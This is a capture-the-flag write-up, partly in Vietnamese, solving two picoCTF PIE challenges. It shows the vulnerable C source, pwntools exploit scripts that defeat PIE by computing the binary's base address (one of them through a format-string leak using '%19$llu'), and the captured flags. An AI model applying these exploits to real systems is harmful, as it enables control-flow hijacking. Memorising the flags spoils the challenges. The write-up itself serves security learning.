pwn - PIE TIME 12

Can you try to get the flag? Beware we have PIE! | Can you try to get the flag? I'm not revealing anything anymore!!

November 4, 2025 September 9, 2025 Medium
Author Author Hung Nguyen Tuong

PIE TIME (Easy)

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Mitigation

image

Solve

Do PIE được bật, ta có thể tính được base address của binary bằng cách lấy runtime address của main() được in ra trừ đi static address của main trong ELF.

Từ đó có thể tính được runtime address của win() bằng cách cộng base address của binary với static address của win().

Nhập runtime address của win() vào val để foo trỏ đến win() và thực thi nó.

Script

from pwn import *

p = remote('rescued-float.picoctf.net', 53053)
e = ELF('./vuln')

p.recvuntil(b': ')

runtime_main = int(p.recvline().strip(), 16)
static_main = e.symbols['main']
base = runtime_main - static_main

static_win = e.symbols['win']
runtime_win = base + static_win

p.sendline(hex(runtime_win).encode())

print(p.recvall().decode())
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py 
[+] Opening connection to rescued-float.picoctf.net on port 53053: Done
[*] '/home/hungnt/Desktop/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Receiving all data: Done (126B)
[*] Closed connection to rescued-float.picoctf.net port 53053
Enter the address to jump to, ex => 0x12345: Your input: 5a25bde6a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_f8845f06}

PIE TIME 2 (Medium)

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

Mitigation

image

Solve

Do PIE được bật, ta cần phải leak runtime address của thứ gì đó để tính được base address của binary, rồi từ đó tính ra runtime address của win() nhập vào val để chuyển luồng thực thi tới đó.

Ta thấy buffer được nhập bởi user và sử dụng làm format string trong printf, có thể dẫn đến Format String Bug

image

Ta sẽ lợi dụng FSB để lấy ra runtime address của main+65 trong stack:

image

Theo calling convention của SYSTEM V ABI, đối số thứ 7 (index 6) trở đi sẽ nằm trên stack. Vậy địa chỉ của main+65 sẽ nằm tại index 19.

Script

from pwn import *

p = remote('rescued-float.picoctf.net', 53785)
e = ELF('./vuln')

p.sendlineafter(b':', b'%19$llu')

runtime_main_65 = int(p.recvline().strip())
base = runtime_main_65 - (e.symbols['main'] + 65)
runtime_win = base + e.symbols['win']

p.sendlineafter(b': ', hex(runtime_win).encode())

print(p.recvall().decode())
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py 
[+] Opening connection to rescued-float.picoctf.net on port 53785: Done
[*] '/home/hungnt/Desktop/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Receiving all data: Done (47B)
[*] Closed connection to rescued-float.picoctf.net port 53785
You won!
picoCTF{p13_5h0u1dn'7_134k_9d4030a3}